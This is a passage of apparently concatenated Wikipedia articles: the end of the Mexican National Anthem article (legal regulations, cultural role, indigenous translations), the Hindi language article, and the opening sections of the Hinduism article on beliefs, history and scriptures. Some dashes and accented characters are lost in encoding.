          In reality, however, this is not entirely correct. It is true that Nuno, Henneman and Hill did register the music with the company BMI (BMI Work #568879), with the Edward B. Marks Music Company as the listed publisher of the anthem. This might be the version that some have suggested is copyrighted in the United States. However, United States copyright law declares the Mexican anthem to be in the public domain inside the United States, since both the lyrics and music were published before 1909. For this reason in the film Jumanji was used in the scene like background when Van Pelt enters the store to buy a new rifle and ammo and it was eliminated from the film's soundtrack when this movie played in Mexico. Furthermore, under Mexican copyright law, Article 155 states that the government holds moral rights, but not property rights, of the national symbols, including the anthem, coat of arms and the national flag.


          


          National regulations
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              Complete lyrics of the Mexican National Anthem signed by Miguel de la Madrid.
            

          


          In the second chapter of the Law on the National Arms, Flag, and Anthem (Ley sobre el Escudo, la Bandera y el Himno Nacionales), the national anthem is described in very brief terms. While Articles 2 and 3 discuss in detail the coat of arms and the flag, respectively, Article 4 mentions only that the national anthem will be designated by law. Article 4 also mentions that a copy of the lyrics and the musical notation will be kept at two locations, the General National Archive and at the National Library, located in the National Museum of History (Biblioteca Nacional en el Museo Nacional de Historia).


          Chapter 5 of the Law goes into more detail about how to honour, respect and properly perform the national anthem:


          Article 38 states that the singing, playing, reproduction and circulation of the national anthem are regulated by law and that any interpretation of the anthem must be performed in a "respectful way and in a scope that allows [one] to observe the due solemnity" of the anthem.


          Article 39 prohibits the anthem from being altered in any fashion, prohibits it from being sung for commercial or promotional purposes, and also disallows the singing or playing of national anthems from other nations, unless you have permission from the Secretary of the Interior ( Secretara de Gobernacin) and the diplomatic official from the nation in question.


          The Secretary of the Interior and the Secretary of Public Education ( Secretara de Educacin Pblica), in Article 40, must grant permission for all reproductions of the national anthem to be produced, unless the anthem is being played during official ceremonies carried on the radio or television.


          


          Article 41 states that the national anthem is required to be played at the beginning or end of radio and television programming. The extra requirement for television programming is that photos of the Mexican flag must be displayed at the same time the anthem is playing.


          Article 42 states that the anthem may only be used during the following occasions: solemn acts of official, civic, cultural, scholastic or sport character. The anthem can also be played to render honours to the Mexican flag and to the President of Mexico. If the national anthem is being used to honour the national flag or the President, the short version of the anthem is played.


          Article 43 says that special musical honours may be paid to the President and the flag, but no more than once during the same ceremony.


          Article 44 says that during solemn occasions, if a choir is singing the anthem, the military bands will keep silent.


          Article 45 says that those who are watching the national anthem performance must stand at attention (firmes) and remove any headgear.


          Article 46 states that the national anthem must be taught to children who are attending primary or secondary school; this article was amended in 2005 to add pre-school to the list. The article also states that each school in the National Education System (Sistema Educativo Nacional) will be asked to sing the national anthem each year.


          Article 47 states that in an official ceremony in which is need to play another anthem, the Mexican anthem will be played first, then the guest's anthem.


          Article 48 states that at embassies and consulates of Mexico, the national anthem is played at ceremonies of a solemn nature that involves the Mexican people. If the anthem is played outside of Mexico, Article 48 requires that the Secretary of External Relations ( Secretara de Relaciones Exteriores), through proper channels, must grant permission for the national anthem to be played and will also ensure that the anthem is not sung for commercial purposes.


          


          Cultural significance


          Upon the writing of the anthem, Mexico was still facing the effects of a defeat in a war with the United States. The country felt demoralized and also divided, due to the loss of nearly half of its territory to the United States. According to historian Javier Garciadiego, who spoke at a ceremony commemorating the 150th anniversary of the anthem's adoption, the anthem disregards divisions and strife and encourages national unity. Also, during the celebration in 2004, Mexico City and other parts of the country stopped what they were doing and performed a nationwide singing of the anthem. Individuals from other nations participated, mostly at diplomatic offices or at locations where a high concentration of Mexican expatriates are found. The anthem has also been described as one of the symbols of the "Mexican identity".


          On the rare occasions when someone performs the anthem incorrectly, the federal government has been known to impose penalties to maintain the "dignity" of the national symbols. One example is when a performer forgot some of the lyrics at a soccer match in Guadalajara, she was fined 40 USD by the Interior Ministry and released an apology letter to the country through the Interior Ministry. In addition, the anthem is sometimes used as a tool against people who might not be "true Mexicans". In one case, a young man of Afro-Mexican descent was stopped by police and forced to sing the anthem to prove his nationality. In a separate incident in Japan, police officers asked four men to sing the Mexican anthem after they were arrested in Tokyo on charges of breaking and entering. However, when the men could not sing the anthem, it was discovered that they were Colombian nationals holding forged Mexican passports. They were later charged with more counts on theft of merchandise and money.


          


          Other languages


          The de jure or official language of Mexico is Spanish. Nevertheless there are still people who only speak indigenous languages. On December 8, 2005, Article 39 of the national symbols law was adopted to allow for the translation of the lyrics into the native languages. The official translation is performed by the National Institute of Indigenous Languages (Instituto Nacional de Lenguas Indgenas).


          Officially, the national anthem has been translated into the following native languages: Chinanteco, Ha Hu, Mixteco, Maya, Nahuatl and Tenek. Other native groups have translated the anthem into their respective language, but it has not been sanctioned by the Government.


          


          Recordings


          THE NATIONAL ANTHEM OF Mexico


          


          Sheet music


          
            Retrieved from " http://en.wikipedia.org/wiki/Himno_Nacional_Mexicano"
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              	Hindi

              हिन्दी, हिंदी
            


            
              	Spokenin:

              	India, Pakistan (Urdu and Rajasthani), Fiji ( Fiji Hindi), Mauritius (Urdu), Nepal ( Bhojpuri), Surinam (Bhojpuri), Trinidad and Tobago (Bhojpuri)
            


            
              	Totalspeakers:

              	First language: ~ 240550 million (2008)

              Second language: 120225 million (1999)
            


            
              	Language family:

              	Indo-European

               Indo-Iranian

               Indo-Aryan

              Hindi
            


            
              	Writing system:

              	
                Devanagari, Urdu, Kaithi, Latin, and

                several regional scripts.

              
            


            
              	Official status
            


            
              	Official language in:

              	[image: Flag of Fiji]Fiji ( Fiji Hindi)
            


            
              	Regulated by:

              	Central Hindi Directorate (in India), National Language Authority (in Pakistan), National Council for Promotion of Urdu language
            


            
              	Language codes
            


            
              	ISO 639-1:

              	hi
            


            
              	ISO 639-2:

              	hin
            


            
              	ISO 639-3:

              	hin
            


            
              	
                
                  
                    	
                      
                        [image: Indic script]
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          Hindi ( Devanāgarī: हिन्दी or हिंदी, IAST: Hindī, IPA: [hɪnd̪iː] ) is the name given to an Indo-Aryan language, or a dialect continuum of languages, spoken in northern and central India (the " Hindi belt"),


          The native speakers of Hindi dialects between them account for 40% of the Indian population (1991 Indian census). As defined in the Constitution, Hindi is the official language of India and is one of the 22 scheduled languages specified in the Eighth Schedule to the Constitution. Official Hindi is often described as Modern Standard Hindi, which is used, along with English, for administration of the central government. Standard Hindi is a sanskritised register derived from the khari boli dialect. Urdu is a different, persianised, register of the same dialect. Taken together, these registers are historically also known as Hindustani.


          


          Terminology


          


          Etymology


          The word hindī is of Persian origin. It literally means "Indian", comprising hind "India", and the adjectival suffix -ī. The word was originally used by Muslims in north India to refer to any Indian language: for example the eleventh-century writer Abū Rayhān al-Bīrūnī used it to refer to Sanskrit. By the 13th century, "Hindi", along with its variant forms " Hindavi" and "Hindui", had acquired a more specific meaning: the "linguistically mixed speech of Delhi, which came into wide use across north India and incorporated a component of Persian vocabulary". It was later used by members of the Mughal court to distinguish the local vernacular of the Delhi region where the court was located from Persian, which was the official language of the court.


          Evidence from the 17th century indicates that the language then called "Hindi" existed in two differing styles: among Muslims it was liable to contain a larger component of Persian-derived words and would be written down in a script derived from Persian, while among Hindus it used a vocabulary more influenced by Sanskrit and was written in Devanagari script. These styles eventually developed into modern Urdu and modern Hindi respectively. However the word "Urdu" was not used until around 1780: before then the word "Hindi" could be used for both purposes. The use of "Hindi" to designate what would now be called "Urdu" continued as late as the early twentieth century. Nowadays Hindī as taken to mean "Indian" is chiefly obsolete; it has come to specifically refer to the language(s) bearing that name.


          


          Definitions


          "Hindi" as the term for a language is used in at least four different but overlapping senses:


          
            	defined regionally, Hindi languages, i.e. the dialects native to Northern India

              
                	in a narrower sense, the Central zone dialects, divided into Western Hindi and Eastern Hindi


                	in a wider sense, all languages native to north-central India, stretching from Rajasthani in the west and Pahari in the northwest to Bihari in the east.

              

            


            	defined historically, the literary dialects of Hindi literature, that is, historical regional standards such as Braj Bhasha and Avadhi.


            	defined as a single standard language, Modern Standard Hindi, or "High Hindi", that is, highly Sanskritized Khari boli


            	defined politically, Hindi is any dialect of the region that is not Urdu. This usage originates in the Hindi-Urdu controversy in the 19th century, and is that adopted by the official Indian census (as of 1991), which includes as Hindi a wide variety of dialects of the Hindi belt (adding up to a fraction native speakers of 40% of the total population), but lists Urdu as a separate language (with 5.8% native speakers).

          


          


          History


          Like many other modern Indian languages, it is believed that Hindi had been evolved from Sanskrit, by way of the Middle Indo-Aryan Prakrit languages and Apabhramsha of the Middle Ages. Though there is no consensus for a specific time, Hindi originated as local dialects such as Braj, Awadhi and finally Khari Boli after the turn of tenth century. In the span of nearly a thousand years of Muslim influence, such as when Muslim rulers controlled much of northern India during the Delhi Sultanate and the Mughal Empire, many Persian and Arabic words were absorbed into khari boli and was called Urdu or Hindustani. Since almost all Arabic words came via Persian, they do not preserve the original phonology of Arabic.


          Hindi is contrasted with Urdu in the way both are written, and the use of Sanskrit vocabulary in higher registers. Urdu is the official language of Pakistan and also an official language in some parts of India. The primary differences between the two are the way Standard Hindi is written in Devanagari and draws its "vocabulary" with words from (Indo-Aryan) Sanskrit, while Urdu is written in Urdu script, a variant of the (Semitic) Perso-Arabic script, and draws heavily on Persian and Arabic "vocabulary." Vocabulary is in quotes here since it is mostly the literary vocabulary that shows this visible distinction with the everyday vocabulary being essentially common between the two. To a common unbiased person, both Hindi and Urdu are same (Hindustani) though politics of religion and ethnicity portrays them as two separate languages since they are written in two entirely different scripts Hindi-Urdu controversy. Interestingly, if Urdu is written in Devanagiri script, it will be assumed as Hindi and vice versa. The popular examples are Bollywood songs and gazals.


          


          Varieties and registers


          


          Hindi languages


          The "Hindi languages" in the widest sense of all dialects native to the "Hindi belt" accounts for 337 million native speakers (1991 Indian census), consisting of:


          
            	Central zone

              
                	Western Hindi (West Central zone)

                  
                    	180 M: Khariboli


                    	(43 M: Urdu, counted separately in the official census)


                    	13 M: Haryanvi


                    	6 M: Kanauji

                  

                


                	Eastern Hindi (East Central zone)

                  
                    	20 M: Awadhi


                    	11 M: Chhattisgarhi

                  

                


                	5 M: Rajasthani

              

            


            	Bihari (Eastern zone)

              
                	45 M: Maithili (since 2003 recognized as a separate scheduled language)


                	26 M: Bhojpuri


                	11 M: Magadhi


                	2 M: Sadri

              

            


            	7 M: Pahari (Northern zone) (excludes Dogri and Nepali)

          


          


          Khari boli


          Khari boli or "standing dialect" is the term for the Western Hindi dialect of the Delhi region, which since the later 17th century (Mughal period) has emerged as the prestige dialect. Khari boli includes several standardized registers, including:


          
            	Urdu, historically the "language of the court", a Persianized register


            	Rekhta, a heavily Persianized and Arabized register used in Urdu poetry


            	Dakhni, the historical literary register of the Deccan region


            	Standard Hindi, a heavily Sanskritzed register created in the 19th century ( colonial period) as a counter-proposal contrasted to Urdu in the Hindi-Urdu controversy.

          


          


          Modern Standard Hindi


          After independence, the Government of India worked on standardizing Hindi, instituting the following changes:


          
            	standardization of Hindi grammar: In 1954, the Government of India set up a committee to prepare a grammar of Hindi; The committee's report was released in 1958 as "A Basic Grammar of Modern Hindi"


            	standardization of Hindi spelling


            	standardization of the Devanagari script by the Central Hindi Directorate of the Ministry of Education and Culture to bring about uniformity in writing and to improve the shape of some Devanagari characters.


            	scientific mode of transcribing the Devanagari alphabet


            	incorporation of diacritics to express sounds from other languages.

          


          


          Hindi and Urdu


          



          The term Urdu arose in 1645. Until then, and even after 1645, the term Hindi or Hindawi was used in a general sense for the dialects of central and northern India.


          There are two fundamental distinctions between standard Urdu and standard Hindi that lead to their being recognised as distinct languages:


          
            	the source of borrowed vocabulary (Persian/Arabic for Urdu and Sanskrit for Hindi); and


            	the script used to write them (for Urdu, an adaptation of the Perso-Arabic alphabet written in Nasta'liq style; for Hindi, an adaptation of the Devanagari script).

          


          Colloquially and linguistically, the distinction between the Urdu and Hindi is insignificant. This is true for the northern half of the Indian subcontinent, wherever neither learned vocabulary nor writing is used. Outside the Delhi dialect area, the term "Hindi" is used in reference to the local dialect, which may be different from both Hindi and Urdu.


          The word Hindi has many different uses; confusion of these is one of the primary causes of debate about the identity of Urdu. These uses include:


          
            	standardised Hindi as taught in schools throughout India,


            	formal or official Hindi advocated by Purushottam Das Tandon and as instituted by the post-independence Indian government, heavily influenced by Sanskrit,


            	the vernacular nonstandard dialects of Hindustani/Hindi-Urdu as spoken throughout much of India and Pakistan, as discussed above,


            	the neutralised form of the language used in popular television and films, or


            	the more formal neutralized form of the language used in broadcast and print news reports.

          


          The rubric "Hindi" is often used as a catch-all for those idioms in the North Indian dialect continuum that are not recognised as languages separate from the language of the Delhi region. Panjabi, Bihari, and Chhatisgarhi, while sometimes recognised as being distinct languages, are often considered dialects of Hindi. Many other local idioms, such as the Bhili languages, which do not have a distinct identity defined by an established literary tradition, are almost always considered dialects of Hindi. In other words, the boundaries of "Hindi" have little to do with mutual intelligibility, and instead depend on social perceptions of what constitutes a language.


          The other use of the word "Hindi" is in reference to Standard Hindi, the Khari boli register of the Delhi dialect of Hindi (generally called Hindustani) with its direct loanwords from Sanskrit. Standard Urdu is also a standardized form of Hindustani. Such a state of affairs, with two standardized forms of what is essentially one language, is known as a diasystem.


          Urdu was earlier called Zabān-e-Urdū-e-Mu`allah (زبانِ اردوِ معلہ, ज़बान-ए उर्दू), lit., the "Exalted Language of the Camp". Earlier, terms Hindi and Urdu were used interchangeably even by Urdu poets like Mir and Mirza Ghalib of the early 19th century (rather, the terms Hindvi/Hindi was used more often). By 1850, Hindi and Urdu were no longer used for the same language. Other linguists such as Sir G. A. Grierson (1903) have also claimed that Urdu is simply a dialect or style of Western Hindi. Before the Partition of India, Delhi, Lucknow, Aligarh and Hyderabad used to be the four literary centers of Urdu  none of which lie in present Pakistan.


          The colloquial language spoken by the people of Delhi is indistinguishable by ear, whether it is called Hindi or Urdu by its speakers. The only important distinction at this level is in the script: if written in the Perso-Arabic script, the language is generally considered to be Urdu, and if written in devanagari it is generally considered to be Hindi. However, since independence the formal registers used in education and the media have become increasingly divergent in their vocabulary. Where there is no colloquial word for a concept, Standard Urdu uses Perso-Arabic vocabulary, while Standard Hindi uses Sanskrit vocabulary. This results in the official languages being heavily Sanskritized or Persianized, and nearly unintelligible to speakers educated in the other standard (as far as the formal vocabulary is concerned).


          These two standardised registers of Hindustani have become so entrenched as separate languages that many extreme-nationalists, both Hindu and Muslim, claim that Hindi and Urdu have always been separate languages. The tensions reached a peak in the Hindi-Urdu controversy in 1867 in the then United Provinces during the British Raj. However, there were and are unifying forces as well. For example, it is said that Indian Bollywood films are made in "Hindi", but the language used in most of them is the same as that of Urdu speakers in Pakistan.


          


          Phonology


          
            
              	
                
                  	
                    
                      	
                        
                          
                            	

                            	Bilabial

                            	Labio-

                            dental

                            	Dental/

                            Alveolar

                            	Retroflex

                            	Post-alv./

                            Palatal

                            	Velar

                            	Glottal
                          


                          
                            	Nasal

                            	m

                            	

                            	n

                            	(ɳ)

                            	

                            	

                            	
                          


                          
                            	Plosive

                            	p

                            pʰ

                            	b

                            bʱ

                            	

                            	t̪

                            t̪ʰ

                            	d̪

                            d̪ʱ

                            	ʈ

                            ʈʰ

                            	ɖ

                            ɖʱ

                            	

                            	k

                            kʰ

                            	g

                            gʱ

                            	
                          


                          
                            	Affricate

                            	

                            	

                            	

                            	

                            	tʃ

                            tʃʰ

                            	dʒ

                            dʒʱ

                            	

                            	
                          


                          
                            	Fricative

                            	

                            	f

                            	

                            	s

                            	z

                            	

                            	ʃ

                            	

                            	

                            	

                            	

                            	ɦ
                          


                          
                            	Tap or Flap

                            	

                            	

                            	ɾ

                            	(ɽ)

                            (ɽʱ)

                            	

                            	

                            	
                          


                          
                            	Approximant

                            	

                            	ʋ

                            	l

                            	

                            	j

                            	

                            	
                          

                        

                      

                    

                  

                

              

              	
                
                  
                    Vowels
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          Writing system


          


          Grammar


          


          Literature


          Hindi films play an important role in popular culture. The dialogues and songs of Hindi films use Khariboli and Hindi-Urdu in general, but the intermittent use of various dialects such as Awadhi, Rajasthani, Bhojpuri, Punjabi and quite often Bambaiya Hindi, as also of many English words, is common.


          Alam Ara (1931), which ushered in the era of "talkie" films in India, was a Hindustani film. This film had seven songs in it. Music soon became an integral part of Hindustani/ Hindi cinema. It is a very important part of popular culture and now comprises an entire genre of popular music. So popular is film music that songs filmed even 50-60 years ago are a staple of radio/TV and are generally very familiar to an Indian.


          Hindi movies and songs are popular in many parts of India, such as Punjab, Gujarat and Maharashtra, that do not speak Hindi as a native language. Indeed, the Hindi film industry is largely based at Mumbai (Bombay), in the Marathi-speaking state of Maharashtra. Hindi films are also popular abroad, especially in Pakistan, Afghanistan, Nepal, Bangladesh, Iran and UK. These days Hindi movies are released worldwide and have large audience in Americas, Europe and Middle Eastern countries too.


          The role of radio and television in propagating Hindi beyond its native audience cannot be overstated. Television in India was controlled by the central government until the proliferation of satellite TV rendered regulation redundant. During the era of control, Hindi predominated on both radio and TV, enjoying more air-time than local languages. After the advent of satellite TV, several private channels emerged to compete with the government's official TV channel. Today, a large number of satellite channels provide viewers with much variety in entertainment. These include soap operas, detective serials, horror shows, dramas, cartoons, comedies, host shows for Hindi songs, Hindu mythology and documentaries.
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        Hinduism


        
          

          Hinduism is a religious tradition that originated in the Indian subcontinent. Hinduism is often referred to as Sanātana Dharma (सनातन धर्म) by its practitioners, a Sanskrit phrase meaning "the eternal path" or "the eternal law".


          Hinduism is the world's oldest major religion that is still practiced. Its earliest origins can be traced to the ancient Vedic civilization. A conglomerate of diverse beliefs and traditions, Hinduism has no single founder. It is the world's third largest religion following Christianity and Islam, with approximately a billion adherents, of whom about 905 million live in India and Nepal. Other countries with large Hindu populations include Bangladesh, Sri Lanka, Pakistan, Indonesia, Malaysia, Singapore, Mauritius, Fiji, Suriname, Guyana, Trinidad and Tobago, United Kingdom and Canada.


          Hinduism contains a vast body of scriptures. Divided as Śruti (revealed) and Smriti (remembered) and developed over millennia, these scriptures expound on theology, philosophy and mythology, and provide spiritual insights and guidance on the practice of dharma (religious living). In the orthodox view, among such texts, the Vedas and the Upanishads are the foremost in authority, importance and antiquity. Other major scriptures include the Tantras, the sectarian Agamas, the Purāṇas and the epics Mahābhārata and Rāmāyaṇa. The Bhagavad Gītā, a treatise excerpted from the Mahābhārata, is sometimes called a summary of the spiritual teachings of the Vedas.


          


          


          Etymology


          The Persian term Hindū is derived from Sindhu, Sanskrit for the Indus River. The Rig Veda mentions the land of the Indo-Aryans as Sapta Sindhu (the land of the seven rivers in northwestern South Asia, one of them being the Indus). This corresponds to Hapta Həndu in the Avesta (Vendidad or Videvdad: Fargard 1.18)the sacred scripture of Zoroastrianism. The term was used for those who lived in the Indian subcontinent on or beyond the "Sindhu".


          


          Beliefs
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          Hinduism is an extremely diverse religion. Although some tenets of the faith are accepted by most Hindus, scholars have found it difficult to identify any doctrines with universal acceptance among all denominations. Prominent themes in Hindu beliefs include Dharma (ethics/duties), Samsāra (The continuing cycle of birth, life, death and rebirth), Karma (action and subsequent reaction), Moksha (liberation from samsara), and the various Yogas (paths or practices).


          


          Concept of God


          Hinduism is a diverse system of thought with beliefs spanning monotheism, polytheism, panentheism, pantheism, monism and atheism. It is sometimes referred to as henotheistic (devotion to a single God while accepting the existence of other gods), but any such term is an oversimplification of the complexities and variations of belief.


          Most Hindus believe that the spirit or soulthe true "self" of every person, called the ātmanis eternal. According to the monistic/pantheistic theologies of Hinduism (such as Advaita Vedanta school), this Atman is ultimately indistinct from Brahman, the supreme spirit. Brahman is described as "The One Without a Second;" hence these schools are called "non-dualist." The goal of life according to the Advaita school is to realize that one's ātman is identical to Brahman, the supreme soul. The Upanishads state that whoever becomes fully aware of the ātman as the innermost core of one's own self, realizes their identity with Brahman and thereby reaches Moksha (liberation or freedom).


          Other dualistic schools (see Dvaita and Bhakti) understand Brahman as a Supreme Being who possesses personality and worship Him or Her thus, as Vishnu, Brahma, Shiva or Shakti depending on the sect. The ātman is dependent on God while Moksha depends on love towards God and on God's grace. When God is viewed as the supreme personal being (rather than as the infinite principle) God is called Ishvara ("The Lord"), Bhagavan ("The Auspicious One"), or Parameshwara ("The Supreme Lord"). However, interpretations of Ishvara varyranging from non-belief such as followers of Mimamsakas, in Ishvara to identifying Brahman and Ishvara as one as in Advaita. There are also schools like the Samkhya which have atheistic leanings.


          


          Devas and avatars
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          The Hindu scriptures refer to celestial entities, called Devas (or devī in feminine form; devatā used synonymously for Deva in Hindi), "the shining ones", which may be translated into English as "gods" or "heavenly beings". The devas are an integral part of Hindu culture and are depicted in art, architecture and through icons, and mythological stories about them are related in the scriptures, particularly in the Indian epic poetry and Puranas. They are however often distinguished from Ishvara, a supreme personal God, with many Hindus worshiping Ishvara in a particular form as their iṣṭa devatā, or chosen ideal; the choice being based upon their individual preference, and regional and family traditions.


          Hindu epics and the Puranas relate several episodes of the descent of God to Earth in corporeal form, in order to restore dharma in society and guide humans to moksha (liberation from the cycle of rebirth). Such an incarnation is called an avatar. The most prominent avatars are of Vishnu, and include Rama (protagonist in Ramayana) and Krishna (a central figure in the epic Mahabharata).


          


          Karma and samsara


          Karma translates literally as action, work or deed and can be described as the "moral law of cause and effect". According to the Upanishads, an individual, known as the jiva-atma, develops samskaras (impressions) from actions, whether physical or mental. The "linga sharira", a body more subtle than the physical one, but less subtle than the soul, retains impressions, carrying them over into the next life, establishing a unique trajectory for the individual. Thus, the concept of a universal, neutral and never-failing karma intrinsically relates to reincarnation as well as one's personality, characteristics and family. Karma threads together the notions of free will and destiny.


          This cycle of action, reaction, birth, death, and rebirth is a continuum called samsara. The notion of reincarnation and karma is a strong premise in Hindu thought. The Bhagavad Gita states that:


          
            
              	

              	
                As a person puts on new clothes and discards old and torn clothes,

                similarly an embodied soul enters new material bodies, leaving the old bodies.(B.G. 2:22)

              

              	
            

          


          Samsara provides ephemeral pleasures, which lead people to desire rebirth to enjoy the pleasures of a perishable body. However, escaping the world of samsara through moksha (liberation) is believed to ensure lasting happiness and peace. It is thought that after several reincarnations, an atman eventually seeks unity with the cosmic spirit (Brahman/Paramatman).


          The ultimate goal of life, referred to as moksha, nirvana or samadhi, is understood in several different ways: as the realization of one's union with God; as realization of one's eternal relationship with God; realization of the unity of all existence; perfect unselfishness and knowledge of the Self; attainment of perfect mental peace; or as detachment from worldly desires. Such a realization liberates one from samsara and ends the cycle of rebirth. The exact conceptualization of moksha differs among the various Hindu schools of thought. For example, Advaita Vedanta holds that after attaining moksha an atman no longer identifies itself with an individual but as identical with Brahman in all respects. The followers of Dvaita ( dualistic) schools identify themselves as part of Brahman and after attaining moksha expect to spend eternity in a loka (heaven), in the company of their chosen form of Ishvara. Thus, it is said, the followers of dvaita wish to "taste sugar," while the followers of Advaita wish to "become sugar."


          


          The goals of life


          Classical Hindu thought accepts two main life-long dharmas: Grihastha Dharma and Sannyasin Dharma.


          The Grihastha Dharma recognize four goals known as the puruṣhārthas. They are:


          
            	kāma: Sensual pleasure and enjoyment


            	Artha: Material prosperity and success


            	Dharma: Correct action, in accordance with one's particular duty and scriptural laws


            	Moksha: Liberation from the cycle of samsara

          


          Among these, dharma and moksha play a special role: dharma must dominate an individual's pursuit of kama and artha while seeing moksha, at the horizon.


          The Sannyasin Dharma recognizes, but renounces Kama, Artha and Dharma, focusing entirely on Moksha. As described below, the Grihastha Dharma eventually enters this stage. However, some enter this stage immediately from whichever stage they may be in.


          


          Yoga
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          In whatever way a Hindu defines the goal of life, there are several methods ( yogas) that sages have taught for reaching that goal. A practitioner of yoga is called a yogi. Texts dedicated to Yoga include the Bhagavad Gita, the Yoga Sutras, the Hatha Yoga Pradipika and, as their philosophical and historical basis, the Upanishads. Paths one can follow to achieve the spiritual goal of life ( moksha, samadhi, or nirvana) include:


          
            	Bhakti Yoga (the path of love and devotion),


            	Karma Yoga (the path of right action),


            	Rāja Yoga (the path of meditation) and


            	Jāna Yoga (the path of wisdom).

          


          An individual may prefer one or some yogas over others according to his or her inclination and understanding. For instance some devotional schools teach that bhakti is the only practical path to achieve spiritual perfection for most people, based on their belief that the world is currently in the age of Kali yuga (one of four epochs part of the Yuga cycle). Practice of one yoga does not exclude others. Many schools believe that the different yogas naturally blend into and aid other yogas. For example, the practice of jnana yoga, is thought to inevitably lead to pure love (the goal of bhakti yoga), and vice versa. Someone practicing deep meditation (such as in raja yoga) must embody the core principles of karma yoga, jnana yoga and bhakti yoga, whether directly or indirectly.


          


          History
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          The earliest evidence for elements of Hinduism date back to the late Neolithic to the early Harappan period (55002600BCE). The beliefs and practices of the pre-classical era (1500500BCE) are called the " historical Vedic religion". Modern Hinduism grew out of the Vedas, the oldest of which is the Rigveda, dated to 17001100BCE. The Vedas centre on worship of deities such as Indra, Varuna and Agni, and on the Soma ritual. They performed fire-sacrifices, called yaja and chanted Vedic mantras but did not build temples or icons. The oldest Vedic traditions exhibit strong similarities to Zoroastrianism and with other Indo-European religions. During the Epic and Puranic periods, the earliest versions of the epic poems Ramayana and Mahabharata were written roughly from 500100BCE, although these were orally transmitted for centuries prior to this period. The epics contain mythological stories about the rulers and wars of ancient India, and are interspersed with religious and philosophical treatises. The later Puranas recount tales about devas and devis, their interactions with humans and their battles against demons.


          Three major movements underpinned the naisance of a new epoch of Hindu thought: the advents and spread of Upanishadic, Jaina, and Buddhist philosophico-religious thought throughout the broader Indian landmass. The Upanishads, Mahavira (founder of Jainism) and Buddha (founder of Buddhism) taught that to achieve moksha or nirvana, one did not have to accept the authority of the Vedas or the caste system. Buddha went a step further and claimed that the existence of a Self/soul or God was unnecessary. Buddhism and Jainism adapted elements of Hinduism into their beliefs. Buddhism (or at least Buddhistic Hinduism) peaked during the reign of Asoka the Great of the Mauryan Empire, who unified the Indian subcontinent in the 3rd century BCE. After 200CE, several schools of thought were formally codified in Indian philosophy, including Samkhya, Yoga, Nyaya, Vaisheshika, Purva-Mimamsa and Vedanta. Charvaka, the founder of an atheistic materialist school, came to the fore in North India in the sixth century BCE. Between 400BCE and 1000CE, Hinduism expanded at the expense of Buddhism.
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          Though Islam came to India in the early 7th century with the advent of Arab traders and the conquest of Sindh, it started to become a major religion during the later Muslim conquest in the Indian subcontinent. During this period Buddhism declined rapidly and many Hindus converted to Islam. Some Muslim rulers such as Aurangzeb destroyed Hindu temples and persecuted non-Muslims, while others, such as Akbar, were more tolerant. Hinduism underwent profound changes in large part due to the influence of the prominent teachers Ramanuja, Madhva, and Chaitanya. Followers of the Bhakti movement moved away from the abstract concept of Brahman, which the philosopher Adi Shankara consolidated a few centuries before, with emotional, passionate devotion towards the more accessible avatars, especially Krishna and Rama.


          Indology as an academic discipline of studying Indian culture from a European perspective was established in the 19th century, led by scholars such as Max Mller and John Woodroffe. They brought Vedic, Puranic and Tantric literature and philosophy to Europe and the United States. At the same time, societies such as the Brahmo Samaj and the Theosophical Society attempted to reconcile and fuse Abrahamic and Dharmic philosophies, endeavouring to institute societal reform. This period saw the emergence of movements which, while highly innovative, were rooted in indigenous tradition. They were based on the personalities and teachings of individuals, as with Shri Ramakrishna and Ramana Maharshi. Prominent Hindu philosophers, including Sri Aurobindo and Swami Prabhupada (founder of ISKCON), translated, reformulated and presented Hinduism's foundational texts for contemporary audiences in new iterations, attracting followers and attention in India and abroad. Others such as Swami Vivekananda, Paramahansa Yogananda, B.K.S. Iyengar and Swami Rama have also been instrumental in raising the profiles of Yoga and Vedanta in the West.


          


          Scriptures and theology


          
            [image: The Rig Veda is one of the oldest religious texts. This Rig Veda manuscript is in Devanagari]

            
              The Rig Veda is one of the oldest religious texts. This Rig Veda manuscript is in Devanagari
            

          


          Hinduism is based on "the accumulated treasury of spiritual laws discovered by different persons in different times." The scriptures were transmitted orally in verse form to aid memorization, for many centuries before they were written down. Over many centuries, sages refined the teachings and expanded the canon. In post-Vedic and current Hindu belief, most Hindu scriptures are not typically interpreted literally. More importance is attached to the ethics and metaphorical meanings derived from them. Most sacred texts are in Sanskrit. The texts are classified into two classes: Shruti and Smriti.


          Shruti (lit: that which is heard) refers to the Vedas which form the earliest record of the Hindu scriptures. While many Hindus revere the Vedas as eternal truths revealed to ancient sages ( Ṛṣis), some devotees do not associate the creation of the Vedas with a God or person. They are thought of as the laws of the spiritual world, which would still exist even if they were not revealed to the sages. Hindus believe that because the spiritual truths of the Vedas are eternal, they continue to be expressed in new ways.


          There are four Vedas (called Ṛg-, Sāma- Yajus- and Atharva-). The Rigveda is the first and most important Veda. Each Veda is divided into four parts: the primary one, the Veda proper, being the Saṃhitā, which contains sacred mantras. The other three parts form a three-tier ensemble of commentaries, usually in prose and are believed to be slightly later in age than the Saṃhitā. These are: the Brāhmaṇas, Āraṇyakas, and the Upanishads. The first two parts were subsequently called the Karmakāṇḍa (ritualistic portion), while the last two form the Jānakāṇḍa (knowledge portion). While the Vedas focus on rituals, the Upanishads focus on spiritual insight and philosophical teachings, and discuss Brahman and reincarnation.


          


          Hindu texts other than the Shrutis are collectively called the Smritis (memory). The most notable of the smritis are the epics, which consist of the Mahābhārata and the Rāmāyaṇa. The Bhagavad Gītā is an integral part of the Mahabharata and one of the most popular sacred texts of Hinduism. It contains philosophical teachings from Krishna, an incarnation of Vishnu, told to the prince Arjuna on the eve of a great war. The Bhagavad Gītā is described as the essence of the Vedas. The Smritis also include the Purāṇas, which illustrate Hindu ideas through vivid narratives. There are texts with a sectarian nature such as Devī Mahātmya, the Tantras, the Yoga Sutras, Tirumantiram, Shiva Sutras and the Hindu Āgamas. A more controversial text, the Manusmriti, is a prescriptive lawbook which epitomizes the societal codes of the caste system.


          


          Practices
